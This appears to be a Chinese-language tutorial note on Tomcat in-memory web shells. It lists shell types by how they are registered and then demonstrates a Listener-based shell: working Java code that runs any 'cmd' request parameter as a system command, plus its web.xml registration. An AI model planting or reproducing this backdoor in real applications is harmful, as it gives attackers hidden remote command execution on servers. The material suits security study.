Java Tomcat内存马探究

Tomcat版本9.0.96

内存马的分类

传统web应用型内存马

Servlet->动态注册servlet及映射路由

filter->动态注册filter及映射路由

Listener->动态注册Listener

框架内存马

Spring Controller->动态注册Controller及映射路由

Spring Interceptor->动态注册Interceptor及映射路由

Spring WebFlux->动态注册WebFlux及映射路由

中间件型内存马

Tomcat Valve->动态注册Valve

Tomcat Upgrade->动态注册Upgrade

Tomcat Executor->动态替换全局Executor

Tmocsat Poller->动态替换全局Poller

Grizzly Filter->动态注册Grizzly Filter及映射

其他内存马

WebSocker->动态注册ebSocker路由及处理逻辑

Tomcat JSP->动态注册Tomcat JSP管理逻辑并实现驻留

线程型内存马->动态添加一个人无法杀死的线程

RMI型内存马->鼎泰启动一个RMI Registry

Agent型内存马

Agent型内存马->通过Hook并此添加恶意逻辑

利用Java Web组件

利用Servlet、Filter、Listener实现内存马，我们需要两个条件，一是动态创建对象，二是能将创建的对象注册到HTTP的处理流中生效。

Tomcat启动加载的顺序：Listener -> Filter -> Servlet

前置步骤遇到的问题

已经配置了tomcat但是import javax.servlet.http.HttpServletResponse;报错，

idea的解决办法：

Listener 内存马

Listener 可以译为监听器，监听器用来监听对象或者流程的创建与销毁，通过 Listener，可以自动触发一些操作，因此依靠它也可以完成内存马的实现。

在应用中可能调用的监听器如下：

ServletContextListener：用于监听整个 Servlet 上下文（创建、销毁）
ServletContextAttributeListener：对 Servlet 上下文属性进行监听（增删改属性）
ServletRequestListener：对 Request 请求进行监听（创建、销毁）
ServletRequestAttributeListener：对 Request 属性进行监听（增删改属性）
javax.servlet.http.HttpSessionListener：对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener：对 Session 属性的监听

最合适的是ServletRequestListener接口，只要访问Servlet的任何资源都会触发这个监听器提供了两个方法在request请求创建和销毁时进行处理，比较适合我们打内存马

他提供两个方法requestDestroyed、requestDestroyed，两个方法均接ServletRequestEvent 作为参数，ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象，因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码，完成内存马的实现。

创建listener

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;

@WebListener
public class ListenerDemo implements ServletRequestListener {
    @Override
    public void requestDestroyed (ServletRequestEvent sre) {
        System.out.println("requestDestroyed");
    }

    @Override
    public void requestInitialized (ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        String cmd = servletRequest.getParameter("cmd");
        if(cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <listener>
        <listener-class>ListenerDemo</listener-class>
    </listener>
</web-app>

ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁。注册 ServletRequestListener 后，每次请求发生时都会调用 requestInitialized() 方法。而我们可以从requestInitialized()方法的参数ServletRequestEvent中获取本次请求的ServletRequest对象。所以我们可以在requestInitialized()方法中添加恶意代码。